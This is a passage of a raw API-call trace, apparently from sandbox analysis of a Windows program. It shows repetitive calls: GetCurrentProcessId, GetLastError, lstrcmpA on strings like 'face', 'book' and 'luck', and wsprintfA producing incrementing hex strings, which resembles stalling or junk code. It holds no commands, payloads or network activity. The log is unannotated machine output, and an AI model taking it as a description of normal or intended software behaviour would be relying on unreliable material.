(lpString="just string") returned 11 [0050.855] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.855] GetLastError () returned 0x12 [0050.855] GetLastError () returned 0x12 [0050.855] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20A9AP") returned 6 [0050.855] SetLastError (dwErrCode=0x12) [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] lstrlenA (lpString="just string") returned 11 [0050.855] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.855] GetLastError () returned 0x12 [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] lstrlenA (lpString="just string") returned 11 [0050.855] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.855] GetLastError () returned 0x12 [0050.855] GetLastError () returned 0x12 [0050.855] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.855] SetLastError (dwErrCode=0x12) [0050.855] GetCurrentProcess () returned 0xffffffff [0050.855] GetLastError () returned 0x12 [0050.855] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20AE8P") returned 6 [0050.855] SetLastError (dwErrCode=0x12) [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcess () returned 0xffffffff [0050.856] GetLastError () returned 0x12 [0050.856] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20AE9P") returned 6 [0050.856] SetLastError (dwErrCode=0x12) [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetLastError () returned 0x12 [0050.856] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20AEAP") returned 6 [0050.856] SetLastError (dwErrCode=0x12) [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] lstrlenA (lpString="just string") returned 11 [0050.856] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.856] GetLastError () returned 0x12 [0050.856] GetCurrentProcess () returned 0xffffffff [0050.856] GetLastError () returned 0x12 [0050.856] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20B07P") returned 6 [0050.856] SetLastError (dwErrCode=0x12) [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetLastError () returned 0x12 [0050.856] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20B08P") returned 6 [0050.856] SetLastError (dwErrCode=0x12) [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] lstrlenA (lpString="just string") returned 11 [0050.856] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.856] GetLastError () returned 0x12 [0050.856] lstrlenA (lpString="just string") returned 11 [0050.856] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.856] GetLastError () returned 0x12 [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] lstrlenA (lpString="just string") returned 11 [0050.856] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.856] GetLastError () returned 0x12 [0050.856] lstrlenA (lpString="just string") returned 11 [0050.856] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.856] GetLastError () returned 0x12 [0050.856] GetCurrentProcess () returned 0xffffffff [0050.856] GetLastError () returned 0x12 [0050.856] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20B89P") returned 6 [0050.856] SetLastError (dwErrCode=0x12) [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetLastError () returned 0x12 [0050.856] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20B8AP") returned 6 [0050.856] SetLastError (dwErrCode=0x12) [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] lstrlenA (lpString="just string") returned 11 [0050.856] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.856] GetLastError () returned 0x12 [0050.856] GetLastError () returned 0x12 [0050.856] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20BBCP") returned 6 [0050.856] SetLastError (dwErrCode=0x12) [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] GetCurrentProcessId () returned 0x81c [0050.856] lstrlenA (lpString="just string") returned 11 [0050.856] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.856] GetLastError () returned 0x12 [0050.857] GetLastError () returned 0x12 [0050.857] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20BDAP") returned 6 [0050.857] SetLastError (dwErrCode=0x12) [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] lstrlenA (lpString="just string") returned 11 [0050.857] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.857] GetLastError () returned 0x12 [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] lstrlenA (lpString="just string") returned 11 [0050.857] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.857] GetLastError () returned 0x12 [0050.857] GetLastError () returned 0x12 [0050.857] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.857] SetLastError (dwErrCode=0x12) [0050.857] GetCurrentProcess () returned 0xffffffff [0050.857] GetLastError () returned 0x12 [0050.857] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20C5AP") returned 6 [0050.857] SetLastError (dwErrCode=0x12) [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] GetCurrentProcess () returned 0xffffffff [0050.857] GetLastError () returned 0x12 [0050.857] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20C5BP") returned 6 [0050.857] SetLastError (dwErrCode=0x12) [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] GetLastError () returned 0x12 [0050.857] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20C5CP") returned 6 [0050.857] SetLastError (dwErrCode=0x12) [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] lstrlenA (lpString="just string") returned 11 [0050.857] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.857] GetLastError () returned 0x12 [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] lstrlenA (lpString="just string") returned 11 [0050.857] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.857] GetLastError () returned 0x12 [0050.857] GetLastError () returned 0x12 [0050.857] GetLastError () returned 0x12 [0050.857] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.857] SetLastError (dwErrCode=0x12) [0050.857] GetCurrentProcess () returned 0xffffffff [0050.857] GetLastError () returned 0x12 [0050.857] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20CDCP") returned 6 [0050.857] SetLastError (dwErrCode=0x12) [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] GetCurrentProcess () returned 0xffffffff [0050.857] GetLastError () returned 0x12 [0050.857] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20CDDP") returned 6 [0050.857] SetLastError (dwErrCode=0x12) [0050.857] GetCurrentProcessId () returned 0x81c [0050.857] GetLastError () returned 0x12 [0050.857] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20CDEP") returned 6 [0050.858] SetLastError (dwErrCode=0x12) [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] lstrlenA (lpString="just string") returned 11 [0050.858] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.858] GetLastError () returned 0x12 [0050.858] GetLastError () returned 0x12 [0050.858] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20CF2P") returned 6 [0050.858] SetLastError (dwErrCode=0x12) [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] lstrlenA (lpString="just string") returned 11 [0050.858] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.858] GetLastError () returned 0x12 [0050.858] GetLastError () returned 0x12 [0050.858] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20D2EP") returned 6 [0050.858] SetLastError (dwErrCode=0x12) [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] lstrlenA (lpString="just string") returned 11 [0050.858] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.858] GetLastError () returned 0x12 [0050.858] GetCurrentProcess () returned 0xffffffff [0050.858] GetLastError () returned 0x12 [0050.858] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20D73P") returned 6 [0050.858] SetLastError (dwErrCode=0x12) [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetLastError () returned 0x12 [0050.858] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20D74P") returned 6 [0050.858] SetLastError (dwErrCode=0x12) [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] lstrlenA (lpString="just string") returned 11 [0050.858] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.858] GetLastError () returned 0x12 [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] lstrlenA (lpString="just string") returned 11 [0050.858] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.858] GetLastError () returned 0x12 [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] lstrlenA (lpString="just string") returned 11 [0050.858] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.858] GetLastError () returned 0x12 [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] lstrlenA (lpString="just string") returned 11 [0050.858] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.858] GetLastError () returned 0x12 [0050.858] GetCurrentProcessId () returned 0x81c [0050.858] lstrlenA (lpString="just string") returned 11 [0050.858] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.858] GetLastError () returned 0x12 [0050.858] GetLastError () returned 0x12 [0050.859] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.859] SetLastError (dwErrCode=0x12) [0050.859] GetCurrentProcess () returned 0xffffffff [0050.859] GetLastError () returned 0x12 [0050.859] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20E30P") returned 6 [0050.859] SetLastError (dwErrCode=0x12) [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetCurrentProcess () returned 0xffffffff [0050.859] GetLastError () returned 0x12 [0050.859] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20E31P") returned 6 [0050.859] SetLastError (dwErrCode=0x12) [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetLastError () returned 0x12 [0050.859] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20E32P") returned 6 [0050.859] SetLastError (dwErrCode=0x12) [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] lstrlenA (lpString="just string") returned 11 [0050.859] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.859] GetLastError () returned 0x12 [0050.859] GetLastError () returned 0x12 [0050.859] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.859] SetLastError (dwErrCode=0x12) [0050.859] GetCurrentProcess () returned 0xffffffff [0050.859] GetLastError () returned 0x12 [0050.859] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20E3AP") returned 6 [0050.859] SetLastError (dwErrCode=0x12) [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetCurrentProcess () returned 0xffffffff [0050.859] GetLastError () returned 0x12 [0050.859] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20E3BP") returned 6 [0050.859] SetLastError (dwErrCode=0x12) [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetLastError () returned 0x12 [0050.859] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20E3CP") returned 6 [0050.859] SetLastError (dwErrCode=0x12) [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] lstrlenA (lpString="just string") returned 11 [0050.859] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.859] GetLastError () returned 0x12 [0050.859] GetLastError () returned 0x12 [0050.859] GetCurrentProcess () returned 0xffffffff [0050.859] GetLastError () returned 0x12 [0050.859] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20E6DP") returned 6 [0050.859] SetLastError (dwErrCode=0x12) [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetLastError () returned 0x12 [0050.859] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20E6EP") returned 6 [0050.859] SetLastError (dwErrCode=0x12) [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] GetCurrentProcessId () returned 0x81c [0050.859] lstrlenA (lpString="just string") returned 11 [0050.859] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.860] GetLastError () returned 0x12 [0050.860] lstrlenA (lpString="just string") returned 11 [0050.860] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.860] GetLastError () returned 0x12 [0050.860] lstrlenA (lpString="just string") returned 11 [0050.860] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.860] GetLastError () returned 0x12 [0050.860] GetLastError () returned 0x12 [0050.860] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20EDCP") returned 6 [0050.860] SetLastError (dwErrCode=0x12) [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] lstrlenA (lpString="just string") returned 11 [0050.860] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.860] GetLastError () returned 0x12 [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] lstrlenA (lpString="just string") returned 11 [0050.860] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.860] GetLastError () returned 0x12 [0050.860] GetCurrentProcess () returned 0xffffffff [0050.860] GetLastError () returned 0x12 [0050.860] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20F35P") returned 6 [0050.860] SetLastError (dwErrCode=0x12) [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetLastError () returned 0x12 [0050.860] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20F36P") returned 6 [0050.860] SetLastError (dwErrCode=0x12) [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] lstrlenA (lpString="just string") returned 11 [0050.860] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.860] GetLastError () returned 0x12 [0050.860] GetLastError () returned 0x12 [0050.860] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20F72P") returned 6 [0050.860] SetLastError (dwErrCode=0x12) [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] lstrlenA (lpString="just string") returned 11 [0050.860] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.860] GetLastError () returned 0x12 [0050.860] GetLastError () returned 0x12 [0050.860] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.860] SetLastError (dwErrCode=0x12) [0050.860] GetCurrentProcess () returned 0xffffffff [0050.860] GetLastError () returned 0x12 [0050.860] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20F7AP") returned 6 [0050.860] SetLastError (dwErrCode=0x12) [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetCurrentProcess () returned 0xffffffff [0050.860] GetLastError () returned 0x12 [0050.860] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20F7BP") returned 6 [0050.860] SetLastError (dwErrCode=0x12) [0050.860] GetCurrentProcessId () returned 0x81c [0050.860] GetLastError () returned 0x12 [0050.861] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20F7CP") returned 6 [0050.861] SetLastError (dwErrCode=0x12) [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] lstrlenA (lpString="just string") returned 11 [0050.861] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.861] GetLastError () returned 0x12 [0050.861] GetLastError () returned 0x12 [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] lstrlenA (lpString="just string") returned 11 [0050.861] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.861] GetLastError () returned 0x12 [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] lstrlenA (lpString="just string") returned 11 [0050.861] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.861] GetLastError () returned 0x12 [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] lstrlenA (lpString="just string") returned 11 [0050.861] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.861] GetLastError () returned 0x12 [0050.861] GetLastError () returned 0x12 [0050.861] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21026P") returned 6 [0050.861] SetLastError (dwErrCode=0x12) [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] lstrlenA (lpString="just string") returned 11 [0050.861] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.861] GetLastError () returned 0x12 [0050.861] GetCurrentProcess () returned 0xffffffff [0050.861] GetLastError () returned 0x12 [0050.861] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2106BP") returned 6 [0050.861] SetLastError (dwErrCode=0x12) [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] GetLastError () returned 0x12 [0050.861] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2106CP") returned 6 [0050.861] SetLastError (dwErrCode=0x12) [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] lstrlenA (lpString="just string") returned 11 [0050.861] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.861] GetLastError () returned 0x12 [0050.861] lstrlenA (lpString="just string") returned 11 [0050.861] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.861] GetLastError () returned 0x12 [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] lstrlenA (lpString="just string") returned 11 [0050.861] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.861] GetLastError () returned 0x12 [0050.861] lstrlenA (lpString="just string") returned 11 [0050.861] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.861] GetLastError () returned 0x12 [0050.861] GetCurrentProcess () returned 0xffffffff [0050.861] GetLastError () returned 0x12 [0050.861] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21147P") returned 6 [0050.861] SetLastError (dwErrCode=0x12) [0050.861] GetCurrentProcessId () returned 0x81c [0050.861] GetLastError () returned 0x12 [0050.861] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21148P") returned 6 [0050.862] SetLastError (dwErrCode=0x12) [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] lstrlenA (lpString="just string") returned 11 [0050.862] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.862] GetLastError () returned 0x12 [0050.862] GetLastError () returned 0x12 [0050.862] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.862] SetLastError (dwErrCode=0x12) [0050.862] GetCurrentProcess () returned 0xffffffff [0050.862] GetLastError () returned 0x12 [0050.862] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21178P") returned 6 [0050.862] SetLastError (dwErrCode=0x12) [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcess () returned 0xffffffff [0050.862] GetLastError () returned 0x12 [0050.862] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21179P") returned 6 [0050.862] SetLastError (dwErrCode=0x12) [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetLastError () returned 0x12 [0050.862] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2117AP") returned 6 [0050.862] SetLastError (dwErrCode=0x12) [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] lstrlenA (lpString="just string") returned 11 [0050.862] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.862] GetLastError () returned 0x12 [0050.862] GetCurrentProcess () returned 0xffffffff [0050.862] GetLastError () returned 0x12 [0050.862] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="211B5P") returned 6 [0050.862] SetLastError (dwErrCode=0x12) [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetLastError () returned 0x12 [0050.862] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="211B6P") returned 6 [0050.862] SetLastError (dwErrCode=0x12) [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] lstrlenA (lpString="just string") returned 11 [0050.862] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.862] GetLastError () returned 0x12 [0050.862] GetLastError () returned 0x12 [0050.862] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="211C0P") returned 6 [0050.862] SetLastError (dwErrCode=0x12) [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] lstrlenA (lpString="just string") returned 11 [0050.862] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.862] GetLastError () returned 0x12 [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] GetCurrentProcessId () returned 0x81c [0050.862] lstrlenA (lpString="just string") returned 11 [0050.862] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.862] GetLastError () returned 0x12 [0050.862] GetCurrentProcess () returned 0xffffffff [0050.863] GetLastError () returned 0x12 [0050.863] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2120FP") returned 6 [0050.863] SetLastError (dwErrCode=0x12) [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetLastError () returned 0x12 [0050.863] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21210P") returned 6 [0050.863] SetLastError (dwErrCode=0x12) [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] lstrlenA (lpString="just string") returned 11 [0050.863] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.863] GetLastError () returned 0x12 [0050.863] GetLastError () returned 0x12 [0050.863] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2124CP") returned 6 [0050.863] SetLastError (dwErrCode=0x12) [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] lstrlenA (lpString="just string") returned 11 [0050.863] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.863] GetLastError () returned 0x12 [0050.863] GetLastError () returned 0x12 [0050.863] lstrlenA (lpString="just string") returned 11 [0050.863] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.863] GetLastError () returned 0x12 [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] lstrlenA (lpString="just string") returned 11 [0050.863] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.863] GetLastError () returned 0x12 [0050.863] GetLastError () returned 0x12 [0050.863] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.863] SetLastError (dwErrCode=0x12) [0050.863] GetCurrentProcess () returned 0xffffffff [0050.863] GetLastError () returned 0x12 [0050.863] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="212D6P") returned 6 [0050.863] SetLastError (dwErrCode=0x12) [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcess () returned 0xffffffff [0050.863] GetLastError () returned 0x12 [0050.863] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="212D7P") returned 6 [0050.863] SetLastError (dwErrCode=0x12) [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetLastError () returned 0x12 [0050.863] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="212D8P") returned 6 [0050.863] SetLastError (dwErrCode=0x12) [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] lstrlenA (lpString="just string") returned 11 [0050.863] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.863] GetLastError () returned 0x12 [0050.863] GetLastError () returned 0x12 [0050.863] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21314P") returned 6 [0050.863] SetLastError (dwErrCode=0x12) [0050.863] GetCurrentProcessId () returned 0x81c [0050.863] GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] lstrlenA (lpString="just string") returned 11 [0050.864] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.864] GetLastError () returned 0x12 [0050.864] GetLastError () returned 0x12 [0050.864] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.864] SetLastError (dwErrCode=0x12) [0050.864] GetCurrentProcess () returned 0xffffffff [0050.864] GetLastError () returned 0x12 [0050.864] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2131CP") returned 6 [0050.864] SetLastError (dwErrCode=0x12) [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcess () returned 0xffffffff [0050.864] GetLastError () returned 0x12 [0050.864] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2131DP") returned 6 [0050.864] SetLastError (dwErrCode=0x12) [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetLastError () returned 0x12 [0050.864] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2131EP") returned 6 [0050.864] SetLastError (dwErrCode=0x12) [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] lstrlenA (lpString="just string") returned 11 [0050.864] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.864] GetLastError () returned 0x12 [0050.864] GetLastError () returned 0x12 [0050.864] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21328P") returned 6 [0050.864] SetLastError (dwErrCode=0x12) [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] 